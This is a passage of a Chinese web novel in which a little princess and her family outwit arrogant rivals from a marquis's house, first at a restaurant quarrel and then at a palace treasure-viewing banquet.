萧宁珣看了一眼在屋里蹦来蹦去的妹妹,手中正握着一根小话梅落下的羽毛,举得高高的,追着小话梅玩得不亦乐乎。
自己带着妹妹,还是不掺和的好,且先由着陆二他们吧,
于是他静静地坐着没动,只竖起了耳朵,倾听着外面的动静。
门外的少年们你一言我一语地仍旧争个不休,突然,一个中年男子的声音响了起来:“做什么这么麻烦!来人!给我将碎金阁围了!我看谁还敢跟镇国侯府争!”
“是!“一个下人应了一声,火速冲下了楼,不多时,几十个家丁打扮的人冲了进来,将碎金阁里里外外都给围了。
萧宁珣一听,事情闹得有些大了,把团团抱在怀里,走出来一看,刚才说话的人,年纪大约三十多岁,身材肥胖,一脸横肉。
陆清嘉和白简行认识这人,是韦秉安的叔父,韦仲礼。
二人见到长辈,拱手行礼:“韦伯伯。韦三如此不讲道理,难道你还要护着他?“
韦仲礼哼了一声,并不搭理他们,显然,他出来就是为了给侄子撑腰的。
韦秉安得了意:“叔父!还是您压得住。陆二,这碎金羹你花了多少银子小爷翻倍赔你,不占你便宜!”
抬眼看到了刚出来的萧宁珣:“我说你在这儿宴请谁呢,原来是宁王府的哑巴啊。”
团团瞪圆了眼睛:“我哥哥不是哑巴,你才是哑巴!你欺负雪豹还欺负陆二,是个大坏蛋!再说我哥哥是哑巴,小鸟就会飞进来,拉在你头上!“
她自以为很凶残,实际却软绵绵糯唧唧的童音,听得所有人都没忍住,笑了出来。
韦秉安斜了一眼团团:“又是你这个捡来的野种!“
萧宁珣脸色一沉:“放肆!胆敢出言不逊,冒犯嘉佑郡主?“
韦秉安一愣:“嘉佑郡主?她是嘉佑郡主?“
团团很认真地点了点头:“对哦!我就是嘉佑郡主!“
韦秉安翻了个白眼,哼了一声,这个小丫头居然是个郡主,但就此也就没敢再冲着团团说什么。
开始上上下下打量起萧宁珣来:“我想起来了,上次在万灵苑,你好像就说过一句话,宁王府这是从什么地方寻到了灵丹妙药?居然能让哑巴开口了?”
话音刚落,一只乌鸦从碎金阁的大门口飞了进来,在楼里“嘎嘎”大叫着来回盘旋,吸引了众人的目光。
萧宁珣心中一动,赶忙将团团攥着小话梅羽毛的那只手,用袖子轻轻遮住,阻隔掉旁人的视线。
只见那鸟儿在五楼贴着屋顶飞了几圈后,拍着翅膀掠过了众人头顶,屁股一撅,噗的一声,一股乳白混杂着青色的粪便,便落在了韦秉安额头上。
那粪便甚至还冒着热气,顺着额头就往下流。
“啊!什么东西!"韦秉安急忙伸手去擦,却正好将粘稠地鸟粪抹开,糊了一脸。
“哈哈哈哈哈……“所有人都大笑了起来。
团团拍着两只小手,咯咯咯地笑得很是开心,萧宁珣看了一眼,果然,妹妹手中的那根羽毛已经不见了。
陆清嘉和白简行甚至笑得直不起腰来,指着韦秉安狼狈的模样:”怎么!怎么能这么巧!哈哈哈!真是现世报啊!哈哈哈,哎呦,我不行了,肚子都笑疼了。“
萧宁珣抱紧了团团,在她脸上亲了一下:“团团真厉害!不过,乖团团,这里坏人太多了,咱们不理他们了,哥哥带你回家。“
萧宁珣担心团团的安危,不想将事情闹得更大,只想带着妹妹赶紧离开。
韦秉安却恼羞成怒,仗着自己人多,大喊了一声:“给我上!给我打他们!去啊!使劲打!打坏了算我的!“
众家丁从楼梯两头向萧宁珣他们飞速围了过去,十几个人一起,把三大一小围在了窄小的楼道上。
萧宁珣大喊一声:“护住团团!“把妹妹放到地上,护在身后,陆清嘉和白简行心领神会,三个少年围成了一个三角形,背靠着背,将团团护在了中间。
陆清嘉和白简行从腰间掏出折扇拿在手里,勉强当作是武器。
萧宁珣则从靴筒中拔出了匕首:“我看谁敢上来!“
第38章 呜呜,我好怕啊
家丁们看见匕首,犹豫着没敢上前。
韦秉安此时已经用袖子将脸上的鸟粪擦掉了大半,但因为实在太过粘稠,不用水洗是根本无法彻底清除的,所以,脸上仍旧臭烘烘,黏糊糊的难受的要命。
他勃然大怒:“看什么看!给我冲上去打啊!”
丢了这么大的人,不找回点儿面子,以后在这京城的权贵圈里岂不成了所有人的笑柄。
家丁们不再犹豫,一哄而上的冲了上去,三个少年死死的护着身后的团团,跟他们混战成了一片。
团团瞪着大眼睛,兴奋的给自己人助威:“加油!”
“嗖!”破空之声响起,一支利箭飞来,精准无比地穿过韦秉安的发冠,将他束发的玉冠连同一缕头发死死地钉在了身后的门框上!
“啊!”韦秉安吓的一声尖叫,脸色惨白如纸,一句话都说不出来。
所有人的动作瞬间都停了下来。
萧元珩高大的身影出现在大门处,随手将手中的长弓抛给身后侍卫,目光如刀,落在韦仲礼面无人色的脸上。
“韦仲礼!小孩子胡闹,你也跟着昏了头?纵容家奴持械冲击亲王眷属,怎么,镇国侯府的爵位和脑袋,都不想要了?
说完,他迈步上楼,玄色蟒纹的披风飘在身后,几步便来到了儿女的面前。
萧宁珣收起匕首:“父亲!您怎么来了?”
萧元珩上下看了儿子一眼,嗯,没受伤:“你们迟迟未归,我不放心,过来接你们。”
陆清嘉和白简行连忙行礼:“见过王爷。”
团团从几个少年的腿缝里钻出来,伸开小手要抱抱:“爹爹!”
萧元珩急忙把她抱了起来,团团一只小手圈住他的脖子,另一只小手回手一指韦秉安。
“爹爹!他抢我的饭!说三哥哥是哑巴,还说我是野种!”
萧元珩的脸色登时黑了下来,怒目圆睁地盯着韦秉安:“嘉佑郡主乃本王与王妃亲生,蒙国师赐名,圣上下旨,你是吃了熊心豹子胆吗,胆敢出言侮辱!“
韦秉安双腿一软,跪倒在地:“我……我……“刚刚的盛气凌人此刻在宁王面前哪里还撑得住,早已烟消云散。
韦仲礼心念飞转,走上前来:“见过王爷。不过是几个小孩子因为一点吃食胡闹了一番而已,王爷宽宏大量,不必如此动怒吧。“
他自知理亏,故意说得轻描淡写,企图大事化小,小事化了。
萧元珩横了他一眼:“哦?你的意思是,就这样算了?“
韦仲礼拱手:“王爷英明。“
萧元珩岂能让他就此蒙混过去:“碎金阁的掌柜何在?”
“小人在!”一个年近四旬的男子早已等候在五楼的拐角处,听到后马上穿过人群走上前行礼:“见过宁王,小人便是这碎金阁的掌柜杜清。”
“你来说!”
杜清心知今日之事必须得有个了断,刚才双方打起来时,他便早已从账房取出了账簿,等着这场纷争结束,再拿出来将自己摘个干净,如今这里宁王最大,正好为自己申辩一番。
他翻开手中账簿:“昨日申初三刻,吏部侍郎府上的二公子遣人来付了五十两银子的订金,预定了今日的碎金羹,宴请嘉佑郡主。“
“今日午时,小店的跑堂十一上菜时,被镇国侯府的三公子拦住,也要今日的碎金羹。”
“双方都是贵人,若能两全其美,小店焉能不从。但众所周知,这碎金羹每日只此一份,小店人微言轻,实在无法从中调停,这才有了方才的事情。“
“小人无能,请王爷恕罪。“说完,他给几人纷纷行礼:”贵人们恕罪,恕罪。“
萧元珩哼了一声:“韦仲礼,你可听到了?此事是谁的过错?“
韦仲礼无话可说,犹豫了片刻:“此事确是小侄胡闹了。请王爷恕罪。但刚刚王爷那一箭,也已伤了他,就算是两清了吧。”
韦秉安一听这话,连忙捂着头顶喊了一声:“哎呦!好疼!”
萧元珩连个眼神都没给他,握着女儿的小手,轻声问道:“团团,刚才吓到你了吗?告诉爹爹,爹爹给你出气!“
团团眼珠子一转,爹爹真好,要给我出气呢!那我必须吓到了啊,还要吓得惨惨的,爹爹才好为我出气啊。
虽然她刚才一直兴高采烈地看三哥哥他们怎么打坏蛋,并无丝毫惧怕,此时却瘪住小嘴,“哇”的一声,使劲挤出了两滴眼泪:“爹爹!我怕!呜呜,他们打哥哥,我好怕哦!”
妹妹太聪明了,配合得真好!萧宁珣赶忙低头,忍住了脸上的笑容。
萧元珩微微一笑:“国有国法,家有家规。你一介白身,安敢指斥乘舆,污蔑天家血脉?此乃十恶不赦之大不敬罪!”
“我朝最重礼仪尊卑,你强取豪夺在先,出言辱及郡主在后,如此大罪岂有轻纵之理!”
“来人!拿下!送京兆府!将本王的话原样转述:此子构陷郡主,语涉宫闱,动摇国本。着,依律严办,以正视听!”
韦仲礼脸色骤变:“宁王!如此重罚,恐难服众吧!“
萧元珩深知京城中某些人对团团的来历颇有微词,铁了心要杀鸡儆猴:“律法如此,非本王所定。莫非,镇国侯府如今已不在律法辖制之列了?“
韦仲礼无话可说,哑口无言。
两个侍卫上前,拖起韦秉安就走。
韦秉安此时已被吓得魂飞魄散,送我去京兆府?那地方进去了哪儿还出得来?他拼命挣扎,口中大喊:“我不去!叔父!救我啊!叔父!“
“哎哟!这是怎么了?怎么闹到这儿来了?”一个声音从楼梯上传来,众人抬眼望去,竟然是御前总管程谨言程公公缓步走了上来。
韦仲礼大喜,救星来了!程公公久在御前,镇国侯府从前没少打点过他,韦秉安这次能不能脱罪,就看他的了。
他急忙上前行礼:“程公公,小侄偶有小错,宁王就要以大罪发落,请公公为小侄,为镇国侯府主持公道!”
韦秉安也明白过来,使劲挣脱了侍卫,爬到程公公脚下,抱着他的腿就喊:“求公公救我!”
第39章 少了一碗怎么办
程公公看了叔侄二人一眼,目光落在了眼泪还挂在脸上的团团身上:“哎哟!郡主这是怎么了?怎么还掉眼泪了?”
团团认出了他,张开两只小手伸了过去:“翁翁!抱!”
程公公赶紧走过去,从萧元珩手中把她接过来,抱在了怀里。
小孩子香香软软的味道登时扑了他满怀。
韦仲礼和韦秉安对视了一眼,都有些傻眼,程公公什么时候跟这位刚封的嘉佑郡主这么熟了?
团团躲进程公公怀里,揪着他胸前的一点衣服擦了擦眼泪,委委屈屈地哼唧:“翁翁!他们欺负我!抢我的饭,还打三哥哥他们!”
程公公昨日去宁王府宣旨时,便已经对这个小郡主深为喜爱,此时见她这个样子,心肝都被萌得直颤。
“不哭啊,小郡主,你爹爹在,翁翁也在呢,没人能欺负得了你。敢问王爷,究竟为何事动怒?”
萧元珩斜了一眼仍然站在一旁的杜清:“你跟公公说吧。”
杜清明白这位程公公的份量,于是急忙上前,下跪行礼,将刚才自己说的话又讲了一遍。
程公公听后莞尔一笑:“竟只是为了一碗吃食吗?真是胡闹!”
萧宁珣深知自家爹爹为妹妹立威的用意,待杜清说完,马上上前行了一礼:“程公公,若仅是如此,父亲自然不会动怒。
“实在是因为,韦秉安出言不逊,竟然当众辱及郡主,说郡主是个野种!父亲这才决定要将他押送京兆府中,以律法论罪处置。
团团一直不明白野种这个词,为什么不止一个人说自己是野种呢?于是搂着程公公的脖子问了出来:“翁翁!什么是野种啊?为什么他说我是个野种呢?团团是野种吗?“
程公公一副老心肝被她的话戳得生疼:“小郡主,那是骂人的脏话,咱们可不兴学啊!“
“你只要记着,你是你爹爹和娘亲亲生的就够了。旁的话,就当他是放屁,可不能再问了啊,知道了吗?“
团团似懂非懂的看着他,非常乖巧地没有再问:“我记住啦!我是嫡女,是嘉佑郡主,是爹爹和娘亲亲生的!“
“对喽!小郡主真是聪明!“
程公公低头冷眼看向脚边趴着的韦秉安:“三公子,杂家久闻你纨绔,不想你居然还有如此的胆色,嘉佑郡主乃圣上金口所封,你胆敢如此说她,我看你是不要命了。“
“宁王乃圣上的亲叔叔,他的嫡女是皇室血脉,你出言辱及皇家,是嫌镇国侯的位子坐得太稳了不成!“
“王爷刚才不是说要把他送至京兆府吗?那还等什么?拖下去吧。“
韦秉安一屁股坐在了地上,嘴唇哆嗦着,连求饶的话都喊不出来了,两个侍卫上前一步,把他拉了起来。
韦仲礼又惊又怒,却不敢吭声,眼睁睁看着侄子被拖了出去。
萧元珩同样被团团刚才的话狠狠诛了心,他冷着脸斜睨了一眼韦仲礼,走到楼梯扶手旁。
高声对碎金阁中的所有人道:“嘉佑郡主,乃宁王府唯一嫡女,若还有人因她的出身血脉有何异议,便是与本王为敌。休怪本王,翻脸无情!”
萧宁珣重重的点了点头,陆清嘉和白简行冲着他竖起了大拇指,你爹威武!
碎金阁内中的所有人都听得清清楚楚面面相觑,宁王对这位嫡女,当真是宝贝的紧啊!
程公公微微一笑:“瞧杂家这记性!方才杂家去府上传圣上口谕,未能寻到王爷,听王妃说王爷来了此处,杂家才追了过来。圣上口谕!”
萧元珩急忙把团团接了过来,所有人闻言都跪下听旨。
程公公道:“皇叔贵体康愈,朕心甚慰,此乃宗室之喜,社稷之福。恰逢临近中秋,朕欲于宫中设宴,一为庆贺佳节,二为皇叔康复贺喜。”
他顿了顿:“特命宁王携全府家眷共赴,以叙天伦之乐。”
“臣,遵旨!“萧元珩站了起来。
程公公笑了笑,故意提高了声音:“陛下还特意嘱咐了,旁人也就罢了,嘉佑郡主一定要到。朕备了好东西要赏她。“
团团学着爹爹的样子,奶声奶气地接了一句:“团团,遵旨!”
程公公高兴地大笑起来:“哈哈哈!这孩子!让杂家可怎么说哦!太灵透了!”
萧元珩抱起女儿,在她的小脸蛋上狠狠亲了一口:“真乖!”
团团捂着肚子:“爹爹,我饿了。”
程公公皱了皱眉:“那碗碎金羹呢?还不赶紧端上来!”
十一早连忙答话:“来喽!浮光厅,上碎金羹!“手脚利落地将一个金色的汤瓮端进了雅间。
韦仲礼心中愤恨,这个宁王,前几年半死不活挺好的,如今一朝痊愈,圣上竟如此看重!今日之事,我镇国侯府跟他的梁子算是结下了。
以后朝堂上,恐怕免不了要平添许多麻烦。
他冲着家丁们轻轻摆了摆手,悄悄转身,溜出了碎金阁。
萧元珩和程公公都留意到了,却佯装不知,今日镇国侯府损了一个儿孙,又颜面尽失,不必再计较什么了。
十一出来行礼:“都备好了,请贵人们入席。“
团团拽了拽爹爹的衣领,从他的怀里滑了下来,颠颠儿地跑到程公公的身旁,拉起他的手:“翁翁!一起吃!“
程公公俯下身子:“翁翁还要回去当差,就不打扰郡主了。“
“可是,娘亲说了,可好吃啦,翁翁尝一口嘛!陪团团一起吃!”
萧元珩见状也给女儿帮腔:“今日宴席,本就是为庆贺团团获封郡主,公公就赏个脸,尝尝再走,圣上那边若误了时辰,只管往本王身上推就是。”
程公公笑了,没再拒绝,团团拉着他的手进了雅间,此时,汤瓮已空,却只分出了五盏,摆放在桌上。
程公公看了看,屋中算上团团一共六人,于是故意逗她:“小郡主,你看,六个人,却只有五盏羹,没有杂家的份哦!“
团团望着他,又看了看其他人,翁翁今天帮了爹爹呢!一定要有翁翁的!
她爬上离自己最近的锦凳,两只小手捧起了面前的那盏:“翁翁!给你!团团下次再吃!”
程公公脸上的笑容蓦地凝住了,心底里最柔然的地方仿佛被什么东西猛地撞了一下。
他在深宫里熬了一辈子,见惯了虚情假意、阿谀奉承,一颗心早已练得硬如铁石,此刻却被这小娃娃一句最纯粹、最不假思索的话,烫得又软又酸。
他嘴角皱纹微微颤抖,将团团捧着的汤盏接了过来,情不自禁地喊了一句:“哎呦……我的小祖宗哎!”
萧宁珣见状出言解围:“来,团团,到三哥这里来,那碗给公公,咱俩一起吃这碗!“
团团开心地跑了过去:“来啦!来啦!“
小话梅不知从哪里钻了出来,追着团团,学着她的腔调大喊:“来啦!来啦!“
满屋子的人都笑了。
第40章 皇宫真大啊
很快,便到了宫宴开宴的日子。
为了团团首次出席如此重要的宴席,程如安亲手为她裁制了一身新衣,刘嬷嬷给团团仔仔细细地穿好后,众人一看:
上身是娇嫩的浅黄色,衣襟与袖口绣着一圈缠枝莲纹,下头配着条月白色的百迭裙。腰间坠着一个绣着同样图案的精巧绣囊。
团团在屋里走了几步,裙摆漾开出柔和的弧度,像极了湖面上泛起的浅浅涟漪。
头上挽了两个乖巧的小鬏鬏,各系了一根镶嵌着红色珊瑚珠子的同色发带,带尾俏生生地垂在耳侧。
脖子上细细的赤金链子下坠着一个金镶玉的长命锁,两个手腕上各戴了一个缠丝珠蕊小金镯。
一张小脸干净圆润得像剥了壳的鸡蛋,一笑起来,那两粒甜糯的小梨涡便立刻陷了下去,盛满了蜜一样看着就甜。
一个小人儿白嫩精致,漂亮得让人移不开眼。
萧宁珣感慨道:“母亲的针线真是好,首饰也配得合适,团团这身打扮,太好看了!怎么能这么好看呢!”
萧宁辰一向话少,并未出言称赞,只在一旁连连点头。
团团低头扯了扯小绣囊:“娘亲,这是你新给我做的?”
程如安微笑:“对啊,跟这身衣服般配嘛!团团喜欢吗?”
“喜欢!特别好看!”团团扑到她的怀里,伸出小手把娘亲的脸拉近自己,使劲亲了一下:“只要是娘亲做的,我都喜欢!谢谢娘亲!”
程如安被女儿哄得眉开眼笑,看向萧元珩:“王爷,团团如此赴宴,你看如何?”
萧元珩点了点头:“甚好,我的女儿,就该穿成这个样子。”
刘嬷嬷看了眼时辰:“时候不早了,车已经在外面候着了。”
程如安犹豫了一下:“王爷当真不去?“
“此次宫宴,圣上本想共聚天伦,不想龙体微恙,临时改为由长公主主持的赏珍会,去的想必多是官眷妇人,你带着团团去就行了。“
程如安点了点头:“王爷说的是。”
“娘亲,赏珍会是什么?“团团第一次听到这个词,好奇地问。
“赏珍会啊,就是去的人呢,不止是去吃茶用点心,还要带上自家的精巧玩意儿,大家坐在一起,共同赏鉴。”
团团听到玩意儿,眼睛一亮:“赏珍会就是有吃的,还有好多好玩的!娘亲,那咱们带什么呢?”
程如安心知丈夫痊愈已经足够引人瞩目,只想低调行事,不愿在宴会上再出什么风头:“咱们啊,只是去看看罢了,不必带什么了。“
“走吧。“程如安牵着女儿的小手,站起身来。
“我送你们上车。“萧元珩有些舍不得闺女,又要出门了,这一去,又是大半日都看不到了。
“我也去!“萧宁珣连忙跟上,萧宁辰默默走在最后。
团团先上了车,萧元珩拉住正准备钻进马车的妻子:“那日碎金阁的事如今已传遍京城,想来今日应该无人再敢口出秽语,但若还有不长眼的,不必委屈退让,有我呢。“
程如安点了点头:“知道了,放心吧。”转身钻进了马车。
父子三人目送着马车渐渐远去,直到消失不见,才恋恋不舍地回了王府。
这次的赏珍会安排在长公主萧安和居住的殿宇,宸晖殿中。
萧安和是当今皇帝的亲姐姐,早年与驸马霍峻明夫妻伉俪,羡煞旁人。不料刚成婚不久,霍峻明便战死沙场,留下长公主一人,年纪轻轻便守了寡。
皇帝将长公主接回宫中,赐居宸晖殿,封为本朝唯一长公主,对这位姐姐极其尊敬。
程如安领着团团来到宸晖殿门口,指着牌匾教给她:“团团,你看,这上面的字啊,叫做宸晖殿。”
团团仰起头,跟着她念:“宸,晖,殿。娘亲,这里好大啊!比咱们的王府还大!”
程如安笑了:“是啊,因为这里是皇宫啊!”
话音刚落,身后便传来一个冷冷的声音:“原来所谓的王府千金,嘉佑郡主,连皇宫都没来过啊!”
程如安回头一看,身后站着两个女子,年长的她认识,正是镇国侯的正房夫人,当家主母赵清岚,年轻的却有些眼生。
“原来是镇国侯府的赵夫人啊,这位是?”程如安听丈夫说过碎金阁的风波,不愿跟她们再打什么交道,只想礼数周全就行了。
“宁王妃万福。”年轻的女子行了个礼,举止得当,貌美端庄:“臣女是镇国侯府嫡女,韦清澄。今日随母亲前来赴宴。”
镇国侯府!那不就是那天想抢我饭的坏蛋他家吗?团团抬起头望向她们:“你也是嫡女啊!我是嘉佑郡主哦!”
赵清岚和韦清澄的脸色顿时都是一沉,这个小兔崽子!小小年纪,却知道用郡主的身份压我们!难怪那天能让秉安栽了那么大的跟头。
按照品级尊卑,侯府虽有爵位,却远远不及郡主的地位尊崇,她们理应向团团行礼问安。
但刚刚看见程如安母女,想起韦秉安两人便是一肚子气,哪里弯得下腰来向一个小娃娃行大礼?
母女俩互相看了一眼,不想行礼却找不到合适的言辞加以推脱,一时全僵住了。
程如安看了女儿一眼,碎金阁一事,两家已起了嫌隙,她素来娴静温和,并不愿将这嫌隙进一步扩大。
于是微微一笑:“两位不必多礼,马上就开宴了,莫误了时辰,进去吧。“转身领着团团走了进去。
见她们走远,韦清澄才狠狠跺了下脚:“娘!你看那个小丫头!如此张狂!女儿无论如何也忍不下这口气!三哥可还在京兆府里没出来呢!娘你就能看得下去?“
赵清岚拉住女儿的手:“急什么!一个乡下养大的粗野丫头,大字都不识得几个,程如安又是个性子软好欺负的,今日的赏珍会,你寻个机会,让她在众人面前出个大丑不就行了。“
“她那个郡主,不过是圣上看在宁王刚醒,就跑到宫里亲自给她请封的面子上才给的。“
“你是我镇国侯府堂堂正正的嫡女,自小养在我身边,堆金砌玉、请遍名师精心教导出来的,难道还压不过她一个乳臭未干、上不得台面的野丫头?”
赵清岚仔细端详了女儿一番,为她正了正鬓间的发钗:“拿出你的气度来,莫要失了侯府千金的身份!”
韦清澄听了母亲的话,深吸了口气:“娘说得有理,女儿都记下了。“
赵清岚满意地点了点头,母女俩一同走进了宸晖殿。
宸晖殿内,云顶檀木作梁,水晶玉璧为灯,极尽华贵雍容。
殿中并未设常规席位,而是错落有致地安置了数十张紫檀桌案,每张案上皆铺着明黄锦缎,上面不止有各色精致茶点,还陈列着各家带来的奇巧珍玩。
皇亲贵胄、贵妇千金们此时已三五成群,迤逦其间。
说来也巧,镇国侯府的桌案,刚好便设在宁王府的桌案旁边。
“长公主驾到!“内侍高声唱道。
第41章 我可以全都拿走吗
萧安和缓步走入落座,全场起身行礼:“恭请长公主殿下金安!“
长公主神情平静,目光缓缓地扫过众人,在程如安和团团身上略有停留,随即轻轻抬手:“平身。”
“谢长公主殿下。”众人起身再度落座。
长公主看向程如安:“许久未见宁王妃了,前几日听皇上说起,宁王如今大病痊愈,身康体健,本宫甚是欣慰。”
程如安连忙起身:“谢长公主关怀。”
长公主的目光落在团团身上:“这位便是嘉佑郡主?”
团团好奇地望着她,好美哦!但是,她身上怎么一团灰气,一点都不开心呢?“对啊,我就是!你就是长公主啊?“
程如安连忙轻声道:“团团,不得无礼,要称呼长公主殿下。“
“哦!“团团一听就知道又要行礼了,于是规规矩矩从座位中出来,小脸儿上的好奇瞬间收敛,努力摆出一副再认真不过的表情,给长公主行了个大礼。
团团小胳膊小腿,动作虽标准,平衡感却不足,一个礼行的规规矩矩,摇摇晃晃,嘴里还一本正经的学着母亲的模样:“长公主殿下金安!“
长公主微微一笑:“嘉佑郡主甚是可爱,快起来罢。“
旁边桌上的赵清岚不屑地一撇嘴角,上前一步,规规矩矩地行了个万福礼,笑盈盈地开口:“臣妇参见殿下。”
长公主的目光转向了她,微微颔首。
赵清岚继续道:“今日能得殿下相邀,赴这赏珍盛会,实乃臣妇与小女的荣幸。”说着,侧身将韦清澄稍稍向前引了引。
韦清澄趁势向前,向长公主深深一福:“臣女韦清澄,对殿下钦慕已久,今日特意将家中珍藏的一件‘飞天乐舞人偶’带了来,供殿下品鉴。“
“虽是俗物,却堪称机巧之极。不敢说入殿下的眼,只盼能博殿下一笑,为这盛会略添一分光彩。”
她话语里满是谦逊,可字字句句都在强调自家今日带来的东西十分珍贵不凡,炫耀之意,昭然若揭。
长公主闻言,脸上笑意未减,眉梢轻轻一挑:“有心了。既然如此,准了,便呈上来一观吧。”
韦清澄命身后两名侍女抬上来一座三尺余高的赤金嵌宝的自动人偶,亲自动手,小心翼翼地为其上足发条。
“啪嗒“一声,机括开启,人偶随之舞动,旋转抬手间,上面的宝石折射出璀璨光芒,内藏的八音轮里水珠般的声音一粒粒滚出来,滴滴答答,旋律悦耳之极。
殿中顿时响起一片惊叹。
“真是巧夺天工!镇国侯府果然底蕴深厚!”
“不愧是侯府千金啊!当真见多识广!”
“今日盛会,这飞天乐舞人偶当属头筹!”
韦清澄唇角噙笑,享受着这些惊叹和赞美。
正暗自得意,忽然看到团团正目不转睛地盯着正在旋转舞动的人偶,看傻了?没见过吧,野丫头!
她眼底掠过一丝轻蔑,故意提高了声音:“此物乃西域巧匠耗时数年所制,世间仅此一件。今日能博殿下与诸位一笑,便是它的造化了。”
话锋一转:“不知嘉佑郡主带了什么宝贝,让我开开眼界?”
殿内霎时一静,程如安面色微沉,正要开口,却被团团拽了下衣袖。
“我没有哦。“团团奶声奶气的回答,小手一指人偶下面,一个被侍女用来垫稳底座的旧木楔子:”这个是什么啊?“
韦清澄低头一看,掩嘴轻笑:“一个用来垫脚的木楔子罢了,怎么?郡主不喜这人偶,反倒看上了这个?“
“嗯嗯!“团团点了点头。
韦清澄唇边的讥讽藏都藏不住了:“郡主的眼光……果然独特,既然郡主喜爱,我不要了,送于你好了。“
她摆了摆手,侍女走上前,将人偶抬起,拿出木楔子,送到了团团的面前。
“你真的不要了吗?“团团很认真地问。
韦清澄几乎控制不住脸上的笑容了:“不要了,此等寻常之物,我侯府中多的是,郡主若是喜欢,大可全都拿走。“
团团这才伸手接了过来:“是你说不要了,我才捡走的哦!“
满殿中人尽皆愕然,随即爆发出压抑不住的低声嗤笑。
“听闻宁王这位嫡女,自幼养于乡野,今日一见,果然是……见识浅薄啊。“
“虽有郡主之名,难登大雅之堂啊。“
程如安却心中一跳:“团团,这木楔子有何异处?“
团团将木楔子放在桌上,翻来覆去不停地摆弄着。
程如安仔细看去,那木楔颜色暗沉,形状普通,看起来极是寻常。
“娘亲!你看这里……“话未说完,团团的手指摸了上去,用力一按。
“嗡——”
一阵低沉悦耳的嗡鸣突然响起,清越悠长,瞬间压过了那人偶的旋律,也打断了殿内所有窃窃私语。
众人惊愕的目光中,木楔陡然展开,一层一层向上翻卷,露出了里面洁白温润的木质,金丝般的纹理在木纹中流转,隐隐组成玄奥的图案,一股奇异的香气逐渐在殿中弥散开来。
“这、这是……!”席间一位白发苍苍的老太妃猛地起身,踉跄着走到了桌前:“金丝沉香木!前朝鲁氏的璇玑尺!”
老太妃激动的声音颤抖:“《匠典》有载,鲁大师制璇玑尺三枚,用以调音律、正机巧!其上金丝乃天然形成,暗合天道韵律!失传已久。竟、竟被拿来垫东西?!”
刹那间,所有目光齐刷刷射向韦清澄母女。
方才那巧夺天工的人偶,在这样真正的绝世瑰宝前,顿时显得俗不可耐。
而将其拿来垫物的镇国侯府,更是成了天大的笑话!
韦清澄脸色煞白,嘴唇微微抖动,一个字也说不出来。赵清岚面红耳赤,恨不得找个地缝钻进去。
程如安微微一笑,轻轻摸了摸女儿的小脑袋,这孩子不但眼光独特,身上的福运,也真是逆天啊。
团团浑然不觉自己引起了怎样的风波,开心地抬起头看向她:“娘亲!好看吗?它好香啊!“
“好看!真好看!“程如安眼角滑过韦清澄母女,不欲让她们再尴尬下去:”收起来吧,团团。“
团团点了点头,又摆弄了两下,大眼睛仔细盯着某处,嘴里念叨着:“这里……“小手指按下,音乐戛然而止,木楔层层收拢,又恢复成了原先那个毫不起眼的样子。
“娘亲!绣囊太小,我放不进去。”团团拽了拽腰间的绣囊,看着木楔,有些发愁。
程如安一时无言:如此稀世珍宝,原本是镇国侯府之物,虽然韦清澄有言在先,送给了团团。
但是,如今宝物露出真容,众目睽睽之下,难道,真的让团团就此拿走?
正犹豫时,团团一蹦一跳地跑到韦清澄面前,仰起小脑袋,一本正经的开口问道:“这个东西,你家里真的还有很多吗?我可以去全都拿走吗?”
程如安哑然,竭尽全力憋住气才忍住了没有笑出来。
她忍住了,旁人可就忍不住了,众人想起方才韦清澄说的那句,“此等寻常之物,我侯府中多的是,郡主若是喜欢,大可全都拿走。”全都哄堂大笑,“哈哈哈哈哈哈……”
第42章 上门欺负过三哥的人,我不帮!
韦清澄母女的面皮紫涨,身子明显颤抖,几乎就要站立不住。
长公主虽然也忍俊不禁,但很快便止住了笑:“嘉佑郡主,不必担心,待宴会结束,本宫便让人将这璇玑尺送到宁王府的马车上。”
她看向韦清澄:“想必侯府千金,定然是言出必行的。”
韦清澄咬紧了后槽牙应了一声:“自然,自然,臣女遵命。”说完便坐了回去,一腔愤恨无处发泄,手中的锦帕绞成了一团。
团团跑回到程如安的身边,爬上自己的座位,拿起桌上的点心开开心心的吃了起来。
“嘉佑郡主目光如炬,不知是否能解得开我带来的这件东西?”
一个清脆的女声响起。
程如安望过去,眉头微微皱起,说话的正是户部侍郎顾大人的嫡女顾宛青。
韦清澄向顾宛青投去了感激的目光,两人年龄相仿,从小便经常玩在一处,堪称闺中密友,顾宛青此时开口,显然是来帮自己的。
团团听到有人提到自己,也看了过去,不认识!
顾宛青身旁还坐着一个满头珠翠的贵妇。
咦,这个人怎么好像见过?啊!想起来了,就是那个,带了好多人上门欺负三哥哥的人!
团团继续吃着,没有搭理她。
众目睽睽,这小丫头竟敢对女儿的话充耳不闻!杜令仪脸色一沉:“小女唐突了。嘉佑郡主可是不愿?“
团团咽下了口中的糕点:“你来我家里欺负过三哥哥,我为什么要帮你?“
提起这件事杜令仪几乎就要勃然大怒,自己好端端的儿子,去了一趟宁王府,出来就被马踩断了腿,现在还躺在床上,居然还是我的错了?
更不要提和萧宁珣交换的那个玉佩了,摔出了那么多裂痕,早就不值一文了。
回到府中,还被长辈们狠狠责罚了一顿:“不识货的东西!你送出去的那个玉佩,看似普通,却是咱们顾家祖宗留给儿孙的祥瑞之物!竟被你就这样白白地送了出去!“
想起这一切她眼中几乎就要喷火,却被女儿在桌下轻轻拉了一下衣袖,拦住了:“郡主如此天资聪颖,能化腐朽为神奇……”
她话锋一转:“难道不愿让我等凡夫俗子,再开开眼界,亲眼见证一番何为真正的‘神乎其技’吗?”
她站起身,对着长公主深深一福:“此物是我顾家祖传,已不是第一次带来赏珍会了,却始终无人能解。如今既有郡主这般的人物在,想来长公主殿下也是想一睹真容的吧。”
长公主看了她一眼,面沉如水,随即望向团团,轻声道:“郡主可愿一试?便是解不开也无妨。“
程如安眉头深锁,顾家这孩子,竟想把团团放在火上烤?她刚想开口婉拒。
团团眼珠子一转,一脸狡黠:“那是你的东西,我不帮。“
顾宛青心中暗忖:此物在家中多年,遍寻了无数能工巧匠都无法解开,若一直解不开,放在手中不过就是废铁一块,难道这五岁稚童当真有通天之能?绝不可能!
她挤出一个难看的笑容:“郡主说的是,既然如此。”
她心一横,拿起桌案上那个巴掌大小,颜色暗沉的铁盒交给身后婢女:“便将此物赠与郡主!如今它是你的东西了,郡主总该愿意一试了吧?”
婢女赶忙将那铁盒送到了团团的桌上。
团团看了看眼前的铁盒,又抬头看了看一脸算计的顾宛青。
咧开了小嘴,脸上梨涡深陷,伸出小手抱起那铁盒:“哦——!你不要啦?那它现在是我的啦?“
